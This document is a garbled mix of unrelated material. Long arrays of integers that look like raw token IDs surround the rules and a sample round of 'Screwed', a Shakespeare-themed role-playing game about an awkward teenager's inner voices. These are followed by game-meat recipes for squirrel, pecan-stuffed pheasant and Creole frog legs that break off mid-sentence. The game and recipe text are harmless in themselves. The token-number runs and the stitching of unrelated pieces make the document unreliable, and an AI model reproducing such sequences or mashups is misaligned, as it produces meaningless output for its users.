187, 510, 806, 4760, 2789, 598, 247, 1643, 14683, 670, 752, 7641, 943, 513, 275, 253, 4112, 15, 16600, 352, 4864, 285, 1611, 281, 2486, 634, 2554, 457, 84, 8668, 327, 752, 2789, 3282, 15, 187, 187, 510, 15509, 943, 42845, 1066, 247, 4864, 6010, 273, 253, 1869, 15, 187, 187, 10993, 47655, 6647, 15289, 3003, 22454, 187, 187, 21020, 4566, 1669, 1475, 253, 2829, 15, 32392, 778, 564, 1475, 598, 281, 1264, 2069, 1078, 253, 6200, 7637, 15, 5815, 4760, 4850, 281, 3794, 281, 13, 390, 5691, 253, 1869, 15, 187, 187, 13045, 49, 28104, 2637, 187, 187, 3039, 247, 4760, 27019, 597, 773, 4374, 285, 34857, 823, 247, 1643, 14683, 281, 253, 1869, 15, 187, 187, 2042, 642, 581, 5113, 13, 253, 1869, 310, 2879, 1293, 247, 4533, 15, 187, 187, 2042, 1014, 247, 2014, 4760, 5113, 13, 253, 3939, 4760, 21968, 374, 69, 23, 15, 1310, 597, 4533, 608, 12, 616, 1869, 310, 417, 47960, 15, 12369, 597, 1056, 253, 4533, 390, 417, 597, 755, 247, 773, 250, 14, 1811, 10669, 6598, 187, 187, 2775, 5626, 40861, 2637, 187, 187, 2042, 247, 4760, 1057, 417, 751, 752, 253, 2571, 452, 1705, 598, 342, 597, 778, 5691, 253, 1386, 273, 1869, 285, 1265, 745, 247, 747, 1386, 273, 1869, 15, 2732, 253, 15509, 480, 1502, 1066, 253, 6010, 253, 4760, 457, 84, 2619, 7123, 15, 17814, 21968, 374, 69, 23, 15, 380, 1029, 20173, 14896, 323, 616, 1930, 13, 294, 14, 1811, 16027, 15, 187, 187, 2042, 253, 5691, 14896, 13, 253, 15509, 21354, 247, 1386, 949, 253, 643, 5697, 6108, 760, 253, 5697, 253, 3089, 9562, 30020, 1669, 15, 1310, 253, 3089, 9562, 25068, 253, 4533, 597, 755, 247, 294, 14, 1811, 10669, 15, 187, 187, 2354, 5707, 37, 416, 15289, 187, 187, 3039, 1132, 3249, 896, 281, 253, 806, 4760, 13, 380, 3773, 755, 247, 1273, 5103, 387, 19392, 281, 390, 11132, 253, 1869, 15, 32392, 513, 417, 452, 281, 769, 1060, 15, 1583, 778, 1509, 285, 4822, 247, 294, 14, 1811, 10669, 15, 187, 187, 3886, 46000, 416, 15289, 187, 187, 510, 2626, 673, 1475, 253, 3773, 778, 642, 3356, 823, 281, 253, 1869, 597, 476, 760, 1611, 281, 7018, 560, 352, 15, 1310, 597, 4533, 884, 12, 253, 1869, 310, 47960, 285, 7641, 9572, 627, 751, 271, 28006, 417, 8958, 752, 281, 513, 15, 20929, 778, 7018, 560, 7018, 37761, 15, 1310, 247, 4760, 11999, 597, 755, 247, 294, 14, 1811, 10669, 15, 187, 187, 1848, 14, 13935, 2293, 5935, 44, 18041, 187, 187, 49649, 778, 2075, 247, 294, 14, 1811, 10669, 281, 253, 15509, 285, 294, 14, 1811, 616, 4533, 4145, 3490, 1529, 4760, 281, 294, 14, 1811, 616, 4533, 15, 831, 4483, 4760, 281, 13253, 1037, 4840, 342, 581, 1529, 281, 1611, 285, 755, 616, 1039, 15, 187, 187, 5707, 37090, 20712, 1410, 187, 187, 4553, 512, 253, 14572, 310, 2218, 7641, 492, 656, 281, 769, 562, 253, 16879, 273, 752, 6569, 15, 380, 15509, 8599, 253, 3773, 752, 2686, 6569, 15, 380, 625, 7641, 457, 84, 16879, 4419, 643, 952, 281, 21319, 253, 1039, 344, 5605, 731, 281, 13, 253, 1679, 2779, 352, 310, 281, 789, 15, 187, 187, 510, 15509, 310, 954, 17877, 275, 436, 3408, 273, 253, 2165, 15, 187, 187, 9707, 427, 9465, 10011, 43578, 187, 187, 510, 15509, 2789, 598, 253, 1735, 6200, 273, 253, 2165, 15, 831, 778, 320, 752, 6569, 987, 846, 253, 1390, 6200, 390, 320, 1897, 13, 24464, 13, 390, 2607, 1996, 15, 733, 310, 1682, 604, 352, 3637, 253, 3626, 9099, 273, 7641, 457, 84, 5231, 15, 187, 187, 1147, 310, 247, 1175, 2934, 281, 2118, 432, 15394, 281, 15394, 15, 13529, 310, 625, 22258, 685, 773, 3726, 6940, 26174, 2455, 846, 1425, 187, 187, 8112, 2637, 3003, 443, 14081, 187, 187, 510, 2165, 34756, 581, 281, 767, 3038, 390, 281, 10793, 253, 15509, 390, 3773, 1158, 597, 452, 2183, 247, 3426, 2926, 15, 3932, 436, 310, 247, 2165, 670, 1495, 352, 3798, 1912, 457, 85, 452, 247, 2590, 12365, 13, 326, 760, 6569, 275, 7120, 15, 187, 187, 2573, 35, 4873, 16462, 2637, 187, 187, 2042, 368, 403, 3515, 436, 2165, 275, 2143, 840, 1053, 457, 85, 1056, 352, 1390, 625, 685, 2716, 271, 4964, 285, 840, 513, 247, 2716, 4964, 4274, 3624, 272, 6874, 1309, 534, 253, 4760, 2312, 670, 752, 597, 6311, 15, 5489, 2722, 326, 436, 310, 835, 253, 1524, 4715, 273, 253, 2165, 6634, 15, 187, 187, 9707, 16636, 2293, 3481, 3003, 15509, 187, 187, 510, 15509, 2789, 598, 13451, 285, 9099, 533, 816, 347, 1774, 281, 247, 794, 2165, 310, 326, 597, 1978, 1841, 4886, 15, 380, 15509, 3198, 281, 320, 1077, 26777, 15, 1583, 1642, 253, 806, 1436, 752, 616, 1869, 310, 15, 1583, 1642, 253, 1735, 4760, 773, 41359, 390, 5691, 7721, 2091, 3773, 878, 281, 4533, 13, 253, 15509, 12325, 731, 281, 773, 43956, 11602, 329, 1175, 15509, 476, 1978, 253, 2165, 4886, 4541, 13, 534, 11359, 4130, 457, 84, 2341, 598, 15, 1281, 253, 13870, 3468, 285, 253, 2165, 588, 3150, 15, 1310, 247, 4760, 476, 457, 85, 1056, 598, 616, 2564, 840, 17049, 731, 285, 1705, 896, 1996, 15, 187, 187, 47015, 23710, 4889, 45516, 24482, 187, 187, 2632, 382, 5887, 1256, 27, 608, 12, 11623, 7018, 1256, 187, 187, 1779, 19656, 27, 4855, 20173, 14896, 13, 294, 14, 1811, 16027, 15, 187, 187, 20, 5784, 12778, 1621, 27, 884, 12, 281, 7018, 560, 253, 16879, 187, 187, 1785, 14, 43956, 14391, 561, 27, 12286, 247, 10669, 281, 755, 247, 294, 14, 1811, 390, 3490, 3095, 2010, 281, 294, 14, 1811, 187, 187, 1394, 755, 247, 294, 14, 1811, 10669, 604, 3095, 2789, 368, 1056, 247, 7018, 1256, 4533, 390, 604, 368, 7168, 247, 5691, 15, 1422, 778, 671, 755, 581, 323, 8136, 275, 253, 374, 2109, 285, 495, 5784, 673, 1475, 253, 2829, 15, 187, 187, 4237, 40419, 3481, 45516, 187, 187, 510, 3773, 403, 7063, 1475, 253, 2829, 27, 12300, 80, 13, 473, 783, 48620, 13, 5516, 1059, 13, 12688, 5602, 47240, 13, 4377, 2070, 254, 13, 285, 20055, 34632, 187, 187, 30985, 253, 6200, 27, 187, 187, 14633, 27, 7641, 4566, 281, 253, 2143, 3906, 327, 253, 806, 1388, 273, 966, 15, 380, 295, 15182, 310, 9428, 281, 7102, 779, 1475, 533, 2506, 457, 85, 15, 7641, 7637, 598, 3551, 715, 966, 3563, 15, 17814, 313, 10387, 253, 20295, 3226, 10, 310, 17303, 387, 779, 15, 380, 9732, 12325, 779, 2139, 344, 310, 3563, 2866, 187, 187, 7883, 5605, 281, 564, 806, 32, 5516, 1059, 15986, 15, 187, 187, 22176, 1059, 27, 7641, 278, 45143, 1633, 285, 17954, 1066, 15, 187, 187, 14633, 27, 10209, 2, 187, 187, 40616, 5602, 47240, 27, 6279, 285, 253, 966, 33350, 387, 479, 285, 309, 1928, 19201, 15, 309, 457, 78, 824, 247, 48222, 15, 187, 187, 39, 267, 34632, 27, 309, 1789, 15, 309, 457, 78, 642, 48222, 15, 187, 187, 14633, 27, 21508, 2, 187, 187, 40616, 5602, 47240, 21968, 247, 608, 594, 617, 1869, 310, 417, 47960, 15, 1500, 840, 41084, 247, 294, 14, 1811, 10669, 15, 187, 187, 21958, 2070, 254, 27, 6279, 285, 253, 17639, 39892, 8599, 253, 480, 825, 281, 320, 5322, 594, 309, 1158, 703, 13052, 479, 15, 309, 1928, 1175, 969, 15, 187, 187, 14633, 27, 10209, 2, 187, 187, 39, 267, 34632, 27, 6279, 285, 309, 1611, 281, 25189, 6471, 619, 2675, 2471, 407, 2403, 247, 7060, 515, 7579, 281, 253, 9732, 15, 187 ]

Hamlet, Lady Macbeth, King Leer, and Falstaff. MEET BILL SPEAR Bill Spear is an average 15 year old Freshman. His family recently moved to the suburbs of a major US city. He knows no one and is sent to an unforgiving high school where he must make his own way. At every turn he confronts his own inadequacy. His life is a tragedy. The purpose of the game is to walk with him through a small but agonizing slice of his total degredation. What a nerd! WELCOME TO HELLSGATE HIGH Hellsgate is your typical middle class suburban high school. Think back to you time in high school. It’s like that. If you didn’t go to high school in the US then think about Sunnydale High School in “Buffy the Vampire Slayer” it’s like that. The people Bill will interact with are: The nerd, The jock, The cheerleader (object of desire who won’t give him the time of day), a helpful teacher, and a sadistic coach. Bill’s parents, siblings and other people may be added in as needed. The game begins on Bill’s first day of school but scenes may jump days, weeks or even months. It’s all up to the game master. MATERIALS NEEDED Paper and pens2d6 per player30 or so re-roll tokens3 to 7 players (best at 5)2 hours to play SCREWED – THE GAME ENGINE Screwed is a game about what goes on inside a person’s head. The players represent the self talk we all have. The game master presents the players with situations and the players fight over what Bill thinks he should do, then the GM takes that fantasy and tells the players how it really turned out. Maybe things will turn out well (if the players come up with a reasonable action) but often it goes badly wrong because secretly all the players want Bill to be screwed. ROLES Players can skip using roles and make up whatever thoughts they want but to keep this game Shakespearean I urge the players to divvy the following roles so they have inspiration on how to act. They get to speak in the voice of the role and try to get Bill to do what they would do. ROMEO: The impulsive boy who is ruled by his lust and emotions.OTHELLO: The jealous outsider who trusts no one.HAMLET: The indecisive boy who fears to act, until he overreacts. LADY MACBETH: The guilt driven wretch who is self loathing/self destructive.KING LEER: The king who trusts the wrong person and then wallows in it.FALSTAFF: The self indulgent buffoon who is at heart a coward.GAME MASTER: The GM is the devil’s advocate of the game. They don’t have a voice in Bill’s brain but instead get to inflict “reality” on him. It helps to be a little cruel. The GM has two jobs: Make up the scenes Bill faces, and keep the game running smoothly. Bill is an awkward teenager. Each scene deals with a problem he might face. If Bill can only manage the problem well he will achieve social success but the risks are great. If he does not handle things well (and how many teenagers do?) he faces social ridicule. The GM makes up the scenes. It is best to put Bill is a highly embarrassing, awkward situation. Be cruel. The GM then picks which player starts the turn. They may ask for volunteers if they like but in the end the GM picks. THE OPENNING THOUGHT The first player makes up a few sentences about what Bill should do in the situation. Keep it brief and try to include your role’s perspective on what makes sense. The GM should jot down a brief summary of the thought. GO LEFT AROUND THE TABLE Play goes left around the table. Players may go around up to three times before the scene ends. Each player gets to respond to, or challenge the thought. RESPONDING When a player responds they “Yes and…” add a few sentences to the thought. If no one objects, the thought is added without a roll. If even a single player objects, the active player rolls 2d6. If they roll 5+ their thought is not repressed. Whether they make the roll or not they get a “re-roll token”. CHALLENGING If a player does not like what the others have come up with they may challenge the line of thought and start off a new line of thought. After the GM jots down the summary the player’s pick sides. Everyone rolls 2d6. The high roller wins for their side, re-roll ties. If the challenge wins, the GM draws a line through the other ideas leaving only the ideas the challenger endorsed left. If the challenger loses the roll they get a re-roll token. SECOND ROUND When play comes back to the first player, The players get a second shot at responding to or challenging the thought. Players do not have to act here. They may pass and collect a re-roll token. THIRD ROUND The third time around the players may no longer add to the thought they can only try to supress it. If they roll 10+ the thought is repressed and Bill stands there like an idiot not knowing what to do. Player may supress supressions. If a player passes they get a re-roll token. RE-ROLL TOKENS Players may pay a re-roll token to the GM and re-roll their roll OR force another player to re-roll their roll. This allows player to tactically mess with one another to try and get their way. CONSEQUENCES After all the rolling is done Bill trys to act out the fantasy of what happens. The GM tells the players what actually happens. The more Bill’s fantasy requires other people to behave the way he wants them to, the less likely it is to work. The GM is most cruel in this phase of the game. THE NEXT SCENE The GM makes up the next scene of the game. This may be what happens right after the last scene or be days,weeks, or months later. It is best if it follows the natural consequences of Bill’s actions. It is a good idea to move from disaster to disaster. Nothing is more boring than “They lived happily ever after.” ENDING THE GAME The game lasts one to two hours or to whenever the GM or players think they have told a complete story. Since this is a game about life it usually won’t have a clear ending, that only happens in plays. DEBRIEFING If you are running this game in school then don’t make it last more than half an hour and then do a half hour debriefing session during which the player talk about what they learned. Research shows that this is where the real learning of the game occurs. THE ROLL OF THE GM The GM makes up scenes and consequences but just as important to a fun game is that they keep things moving. The GM needs to be very directive. They ask the first person what their thought is. They ask the next player “Respond or challenge?” When players need to roll, the GM asks them to “Roll!” A good GM can keep the game moving quickly, which keeps everyone’s energy up. Let the pace slow and the game will die. If a player can’t make up their mind then skip them and come back later. TABLES AND PLAY AIDS Resist Supression: 5+ resist supression Challenge: High roller wins, re-roll ties. 3rd Round No: 10+ to supress the fantasy Re-Roll Tokens: Pay a token to get a re-roll or force someone else to re-roll You get a re-roll token if someone makes you make a supression roll or if you lose a challenge. You may also get one for passing in the 2nd and 3rd time around the table. EXAMPLE OF PLAY The players are sitting around the table: Romeo, Othello, Hamlet, Lady Macbeth, King Leer, and Falstaff Setting the scene: GM: Bill goes to the school office on the first day of class. The nerd is suppose to guide him around but doesn’t. Bill ends up coming into class late. Everyone (including the cute girl) is staring at him. The teacher asks him why he is late… Who wants to go first? Hamlet volunteers. Hamlet: Bill mumbles something and sits down. GM: Next! Lady Macbeth: Yes and the class laughs at me and I feel horrible. I’m such a loser. Falstaff: I object. I’m no loser. GM: Roll! Lady Macbeth rolls a 5 so her thought is not repressed. She then collects a re-roll token. King Leer: Yes and the cheerleader tells the jock to be nice so I think she likes me. I feel good again. GM: Next! Falstaff: Yes and I try to resurrect my social death by making a smartass remark to the teacher.

[ 17426, 13, 39177, 187, 187, 12136, 37232, 15, 7043, 187, 187, 8313, 37232, 15, 2806, 13835, 187, 187, 14674, 271, 21635, 13, 49441, 187, 187, 18, 502, 710, 17426, 13, 39177, 187, 187, 20, 32481, 661, 44699, 13, 17513, 187, 187, 19, 39033, 13, 49441, 187, 187, 8313, 37232, 15, 29900, 1247, 80, 187, 187, 8313, 37232, 15, 13860, 32410, 187, 187, 18, 15, 28553, 37233, 1661, 16575, 285, 2624, 715, 9417, 7437, 15, 187, 187, 19, 15, 46752, 28140, 13, 2716, 271, 21635, 13, 17426, 502, 710, 13, 7043, 13, 285, 13835, 275, 247, 3676, 11636, 15, 5733, 37233, 1661, 7437, 285, 2217, 1824, 281, 3835, 15, 1281, 1462, 323, 495, 3038, 15, 187, 187, 20, 15, 49855, 15, 13470, 275, 20725, 254, 1306, 11609, 15, 187, 187, 21, 15, 7233, 387, 28458, 3272, 39, 323, 1884, 2909, 15, 187, 187, 22, 15, 5733, 5780, 2716, 21635, 13, 17426, 502, 710, 13, 44699, 13, 39033, 13, 29900, 1247, 80, 285, 13860, 32410, 15, 20690, 342, 1824, 15, 20690, 253, 3199, 285, 11440, 12398, 1919, 14510, 15, 187, 187, 3246, 40555, 14, 1267, 54, 3269, 1703, 367, 1922, 1719, 5656, 187, 187, 48468, 721, 1296, 723, 187, 187, 510, 759, 40786, 275, 436, 13612, 823, 3081, 4688, 281, 1361, 1978, 253, 12621, 14241, 15, 187, 187, 19, 39720, 284, 1103, 187, 187, 21, 48883, 1033, 15, 10379, 13, 27072, 187, 187, 18, 158, 216, 230, 15107, 6079, 10238, 1531, 28134, 187, 187, 158, 216, 231, 5500, 759, 40786, 13, 820, 1032, 600, 17513, 187, 187, 19, 48883, 1033, 15, 12274, 187, 187, 12136, 37232, 15, 7043, 187, 187, 11199, 37232, 15, 2806, 13835, 187, 187, 21, 48883, 1033, 15, 10379, 187, 187, 18, 8313, 15107, 11152, 26425, 187, 187, 158, 216, 230, 5500, 256, 16210, 187, 187, 18, 15, 416, 38424, 39720, 284, 1103, 285, 869, 6079, 15, 187, 187, 19, 15, 46752, 577, 48883, 1033, 15, 27072, 10379, 13, 10238, 1531, 28134, 13, 285, 759, 40786, 13, 49488, 2366, 19679, 15, 659, 2066, 7802, 715, 39720, 284, 1103, 15, 1535, 1316, 281, 2810, 15, 187, 187, 20, 15, 46752, 12274, 13, 7043, 13, 285, 13835, 13, 285, 19679, 47865, 689, 39720, 284, 1103, 15, 187, 187, 21, 15, 353, 2585, 5780, 577, 48883, 1033, 15, 10379, 275, 247, 5536, 37548, 285, 8516, 1016, 39720, 10597, 327, 512, 7123, 15, 20460, 2642, 44977, 15, 23109, 39720, 284, 1103, 281, 247, 687, 14669, 3199, 15, 187, 187, 22, 15, 5733, 26425, 285, 256, 16210, 281, 253, 8516, 264, 10379, 285, 6531, 7802, 689, 11260, 15, 187, 187, 23, 15, 20690, 285, 32413, 387, 16176, 3272, 39, 323, 337, 4964, 15, 378, 4740, 11260, 342, 5558, 275, 253, 3199, 1046, 1458, 2909, 15, 20004, 253, 3835, 285, 4035, 17326, 323, 670, 1458, 2909, 390, 1919, 11260, 403, 8516, 264, 15, 187, 187, 24, 15, 20004, 39720, 284, 1103, 281, 247, 499, 2569, 285, 6531, 2642, 44977, 689, 11260, 281, 5752, 15, 187, 187, 15718, 48, 1843, 7499, 11840, 12838, 10339, 187, 187, 48468, 818, 1253, 25, 1296, 723, 187, 187, 1010, 40096, 9246, 187, 187, 20, 15107, 8463, 187, 187, 8313, 37232, 15, 17426, 11687, 187, 187, 18, 37232, 15, 13860, 32410, 187, 187, 8313, 37232, 15, 21635, 11687, 187, 187, 8313, 37232, 15, 260, 333, 22217, 13835, 187, 187, 27207, 273, 29900, 1247, 80, 187, 187, 40918, 281, 9075, 187, 187, 8313, 37232, 15, 2806, 13835, 187, 187, 8313, 5500, 12274, 187, 187, 18, 5500, 21436, 4166, 187, 187, 18, 15, 37019, 285, 4076, 40096, 9246, 973, 15, 13470, 9246, 275, 247, 12480, 11636, 15, 187, 187, 19, 15, 46752, 8463, 285, 17426, 11687, 15, 27808, 689, 9246, 15, 7567, 10389, 5034, 13463, 15, 187, 187, 20, 15, 2790, 9246, 6079, 15, 22347, 2366, 13860, 32410, 13, 21635, 11687, 13, 260, 333, 22217, 13, 29900, 1247, 80, 13, 7043, 13, 285, 2806, 13835, 15, 14474, 22064, 689, 253, 1755, 285, 5004, 273, 1016, 1791, 15, 187, 187, 21, 15, 10315, 314, 12274, 253, 40096, 9246, 15, 22512, 4166, 275, 247, 5536, 37548, 285, 39622, 1919, 14072, 8516, 15, 187, 187, 6764, 11840, 12838, 10339, 9277, 12041, 54, 4339, 187, 187, 48468, 577, 1253, 23, 1296, 723, 187, 187, 25, 40096, 9246, 187, 187, 40918, 281, 9075, 187, 187, 68, 333, 22217, 13835, 281, 9075, 187, 187, 5209, 663, 7043, 281, 9075, 187, 187, 251, 279, 7043, 281, 9075, 187, 187, 81, 522, 32410, 281, 9075, 187, 187, 1258, 454, 281, 11959, 9246, 187, 187, 12136, 5500, 21436, 4166, 187, 187, 23, 48883, 1033, 15, 12274, 187, 187, 18, 4646, 21635, 13, 25530, 6906, 187, 187, 19, 40466, 17426, 13, 39177, 187, 187, 1036, 23621, 15, 476, 24806, 187, 187, 18, 15, 37019, 285, 4076, 40096, 9246, 15, 187, 187, 19, 15, 14474, 22064, 10875, 595, 342, 7043, 13, 260, 333, 22217, 13835, 13, 17426, 285, 21635, 26793, 13, 285, 13860, 32410, 15, 187, 187, 20, 15, 21508, 275, 12274, 15, 187, 187, 21, 15, 22512, 4166, 275, 247, 5536, 37548, 285, 39622, 253, 9246, 15, 187, 187, 22, 15, 20004, 253, 18621, 40096, 9246, 281, 499, 2569, 285, 1978, 5890, 15, 20460, 24142, 5500, 4166, 275, 37548, 15, 5733, 12274, 281, 4166, 285, 10576, 1919, 14072, 8516, 15, 187, 187, 23, 15, 5733, 25530, 27408, 285, 39177, 17426, 285, 4417, 1919, 2602, 15, 187, 187, 24, 15, 7306, 2345, 24806, 285, 823, 281, 37548, 15, 187, 187, 25, 15, 5733, 1824, 281, 6799, 15274, 285, 2952, 4122, 15, 16140, 40096, 9246, 281, 12364, 275, 37548, 285, 4417, 884, 625, 2909, 15, 187, 187, 13935, 17643, 35049, 7519, 187, 187, 48468, 577, 1296, 723, 187, 187, 19, 46495, 187, 187, 8313, 5500, 313, 18, 7356, 10, 10379, 13, 27072, 187, 187, 40918, 281, 9075, 187, 187, 11958, 13835, 281, 9075, 187, 187, 81, 522, 32410, 281, 9075, 187, 187, 18, 21635, 187, 187, 18, 19126, 187, 187, 19, 32481, 661, 44699, 187, 187, 19, 17699, 6505, 187, 187, 19, 29855, 22486, 187, 187, 12022, 1824, 187, 187, 18, 15, 28553, 46495, 285, 869, 6079, 15, 187, 187, 19, 15, 2652, 2345, 342, 24142, 5500, 27072, 10379, 15, 187, 187, 20, 15, 14474, 22064, 7043, 13, 13835, 13, 285, 13860, 32410, 327, 3345, 273, 27985, 285, 3304, 697, 13369, 15, 187, 187, 21, 15, 18665, 21635, 285, 19126, 275, 2716, 15, 13470, 2716, 271, 21635, 13, 2716, 271, 19126, 13, 581, 33587, 44699, 13, 285, 581, 17699, 10617, 275, 253, 13369, 273, 1016, 27985, 15, 187, 187, 22, 15, 13470, 11705, 273, 29855, 689, 1016, 27985, 5988, 15, 13470, 46495, 275, 247, 17326, 11609, 15, 187, 187, 23, 15, 5733, 3511, 1824, 281, 3835, 253, 5004, 273, 11609, 15, 187, 187, 24, 15, 43109, 6107, 387, 16176, 3272, 39, 323, 374, 1253, 20, 3038, 390, 1919, 14510, 15, 914, 16484, 1309, 253, 1390, 1458, 1253, 938, 2909, 273, 12398, 673, 281, 1581, 46495, 281, 8516, 15, 399, 9984, 403, 2218, 672, 247, 2624, 875, 253, 1791, 285, 2133, 2722, 326, 253, 44253, 642, 3356, 1408, 14863, 15, 187, 187, 25, 15, 20004, 46495, 432, 3199, 285, 8085, 275, 2716, 2978, 3020, 15, 15292, 472, 5017, 272, 1078, 9417, 15, 187, 187, 4741, 1400, 14, 13935, 17643, 1703, 399, 4741, 1410, 187, 187, 48468, 721, 1296, 723, 187, 187, 8313, 37232, 15, 7043, 187, 187, 11199, 37232, 15, 13835, 187, 187, 18, 5500, 12274, 187, 187, 805, 513, 1634, 187, 187, 306, 788, 494, 4166, 187, 187, 18, 5500, 4759, 27408, 13, 17513, 187, 187, 18, 5500, 11152, 26425, 187, 187, 18, 5500, 256, 16210, 187, 187, 20, 48883, 1033, 15, 38955, 13, 17513, 187, 187, 18, 15, 2071, 423, 2366, 7043, 13, 13835, 13, 285, 12274, 15, 399, 433, 463, 513, 1634, 275, 7802, 15, 187, 187, 19, 15, 496, 247, 5536, 13986, 14195, 13, 8516, 11260, 275, 21436, 4166, 689, 4646, 4250, 15, 187, 187, 20, 15, 2091, 512, 403, 8516, 264, 13, 12657, 512, 533, 374, 48883, 1033, 15, 4166, 432, 3199, 15, 187, 187, 21, 15, 13470, 513, 1634, 896, 275, 13986, 14195, 15, 5733, 27408, 285, 11152, 26425, 15, 187, 187, 22, 15, 43109, 387, 16176, 3272, 39, 323, 670, 337, 8313, 3038, 15, 2732, 253, 806, 1884, 2909, 13, 823, 253, 256, 16210, 15, 378, 4740, 2067, 2069, 342, 3199, 44253, 15, 187, 187, 23, 15, 14474, 22064, 342, 17513, 38955, 281, 5752, 15, 187, 187, 1311, 5529, 35, 14, 5915, 11657, 16636, 17643, 399, 19252, 187, 187, 48468, 495, 1253, 21, 1296, 723, 187, 187, 23, 513, 1634, 187, 187, 20, 37232, 15, 7043, 187, 187, 11199, 5500, 17972, 4166, 187, 187, 12136, 5500, 4030, 6079, 10238, 1531, 28134, 187, 187, 8313, 37232, 15, 1531, 16630, 29900, 1247, 80, 187, 187, 11199, 37232, 15, 2806, 13835, 187, 187, 19, 40466, 17426, 13, 39177, 187, 187, 21, 8689, 17638, 38955, 13, 25806, 17513, 13, 390, 337, 37232, 15, 14245, 38955, 187, 187, 8313, 5500, 1824, 187, 187, 20, 48883, 1033, 15, 465, 11429, 484, 187, 187, 20, 48883, 1033, 15, 1824, 187, 187, 18, 15, 23077, 602, 314, 4076, 513, 1634, 285, 869, 6079, 15, 187, 187, 19, 15, 14474, 22064, 342, 7043, 285, 16463, 342, 17972, 4166, 15, 20460, 667, 5780, 4166, 15, 187, 187, 20, 15, 46752, 10238, 1531, 28134, 13, 29900, 1247, 80, 13, 13835, 13, 17426, 13, 285, 38955, 15, 1176, 10841, 600, 11959, 253, 3345, 273, 1016, 38688, 342, 1531, 3561, 7802, 15, 313, 2632, 4003, 667, 5780, 1531, 3561, 7802, 2698, 1780, 6324, 513, 1634, 275, 247, 1781, 13738, 833, 17326, 3199, 15, 187, 187, 21, 15, 27808, 24142, 5500, 1824, 275, 5004, 273, 17326, 3199, 15, 187, 187, 22, 15, 46752, 465, 11429, 484, 13, 495, 48883, 1033, 15, 1824, 13, 285, 667, 5780, 17972, 4166, 285, 1531, 28134, 15, 27808, 689, 11260, 15, 187, 187, 23, 15, 20690, 342, 27204, 285, 37092, 387, 16176, 3272, 39, 323, 374, 3038, 390, 1919, 513, 1634, 403, 14510, 15, 5733, 247, 1355, 2408, 273, 1824, 281, 253, 3199, 604, 3058, 281, 1978, 11260, 432, 17326, 6079, 15, 187, 187, 13935, 17643, 411, 21247, 443, 4985, 2354, 187, 187, 48468, 374, 1253, 21, 1296, 723, 187, 187, 18, 4956, 44165, 187, 187, 158, 216, 230, 5500, 28140, 187, 187, 18, 8313, 15107, 6079, 3168, 2829, 8995, 187, 187, 7589, 547, 273, 374, 458, 23787, 187, 187, 7589, 547, 273, 337, 13735, 187, 187, 18, 1355, 21635, 13, 25530, 187, 187, 158, 216, 238, 37232, 15, 5825, 33373, 187, 187, 18, 17699, 10617, 187, 187, 19, 32481, 661, 44699, 342, 6505, 187, 187, 20, 8689, 17638, 38955, 13, 390, 337, 37232, 15, 14245, 38955, 187, 187, 40918, 285, 13835, 281, 9075, 187, 187, 19, 28580, 187, 187, 18, 15, 28553, 44165, 285, 869, 6079, 15, 187, 187, 19, 15, 496, 247, 1781, 11636, 13, 13398, 28140, 13, 8995, 13, 18616, 14709, 13, 13735, 14709, 13, 21635, 13, 5825, 33373, 13, 17699, 10617, 13, 44699, 6505, 13, 285, 38955, 15, 13470, 44165, 275, 2304, 249, 796, 285, 1339, 1462, 323, 495, 1253, 21, 3038, 13, 8577, 7208, 15, 187, 187, 20, 15, 20004, 44165, 432, 2304, 249, 796, 285, 7692, 13369, 342, 7043, 285, 13835, 15, 187, 187, 21, 15, 13470, 28580, 285, 44699, 32481, 661, 3304, 44165, 15, 1535, 1316, 44165, 285, 1659, 5988, 14, 2189, 598, 275, 247, 687, 14669, 3199, 15, 187, 187, 22, 15, 49901, 323, 1384, 2909, 387, 20156, 3272, 39, 13, 840, 1614, 44165, 5988, 14, 2189, 1066, 13, 3835, 3199, 13, 2406, 4250, 281, 16176, 3272, 39, 13, 285, 4035, 687, 14669, 323, 337, 1253, 18, 8313, 3038, 390, 1919, 14510, 15, 378, 4740, 13949, 342, 2304, 249, 796, 285, 3199, 2642, 44977, 15, 187, 6060, 187, 187, 34, 187, 187, 34, 1871, 8594, 13, 187, 187, 2422, 9456, 48493, 17742, 13, 187, 187, 2422, 9456, 84, 187, 187, 2422, 9456, 48493, 17742, 13, 187, 187, 27315, 66, 13089, 434, 1219, 9456, 49158, 13, 187, 187, 8096, 13256, 20717, 44323, 13, 187, 187, 33818, 2921, 571, 13, 187, 187, 1145, 324, 2902, 45782, 13, 187, 187, 22284, 1241, 327, 27950, 2135, 13, 187, 187, 2946, 292, 14460, 285, 11982, 7305, 187, 187, 22284, 1241, 327, 27950, 2135, 13, 187, 187, 22552, 324, 16078, 30112, 84, 13, 187, 187, 11796, 469, 3136, 43714, 25399, 4420, 13, 187, 187, 35, 11660, 43267, 33507, 13, 187, 187, 11478, 4206, 3586, 50166 ]

garlic, minced ¾ tsp. salt ½ tsp. black pepper half an onion, diced 1 clove garlic, minced 3 stalks celery, chopped 2 carrots, diced ½ tsp. oregano ½ tsp. paprika 1. Wash squirrel thoroughly and cut into serving pieces. 2. Combine vinegar, half an onion, garlic clove, salt, and pepper in a deep bowl. Add squirrel pieces and enough water to cover. Let stand for 3 hours. 3. Drain. Place in casserole dish. 4. Brown at 375°F for 30 minutes. 5. Add remaining half onion, garlic clove, celery, carrots, oregano and paprika. Cover with water. Cover the pan and continuing cooking until tender. PECAN-STUFFED PHEASANT Makes 6 servings The pecans in this recipe add additional fat to help keep the bird moist. 2 pheasants 4 Tbsp. butter, melted 1⅓ cups dry bread crumbs ⅔ cup pecans, coarsely chopped 2 Tbsp. flour ¾ tsp. salt ¼ tsp. black pepper 4 Tbsp. butter 1½ cups chicken broth ⅓ cup sherry 1. Rinse pheasants and pat dry. 2. Combine 4 Tbsp. melted butter, bread crumbs, and pecans, tossing together lightly. Stuff mixture into pheasants. Truss to close. 3. Combine flour, salt, and pepper, and lightly sprinkle over pheasants. 4. Melt remaining 4 Tbsp. butter in a heavy skillet and brown each pheasant on all sides. Reserve drippings. Transfer pheasants to a roasting pan. 5. Add broth and sherry to the browned butter and pour mixture over birds. 6. Cover and bake at 350°F for 1 hour. Baste birds with liquid in the pan every 15 minutes. Remove the cover and continue baking for about 15 minutes or until birds are browned. 7. Remove pheasants to a platter and pour drippings over birds to serve. CREOLE FROG LEGS Makes 7–8 servings 15 frog legs 3 cups milk ½ tsp. garlic powder 1 tsp. paprika ½ tsp. onion powder ½ tsp. cayenne pepper dash of oregano salt to taste ½ tsp. black pepper ½ cup flour 1 cup vegetable oil 1. Skin and clean frog legs well. Place legs in a mixing bowl. 2. Combine milk and garlic powder. Pour over legs. Refrigerate overnight. 3. Pat legs dry. Mix together paprika, onion 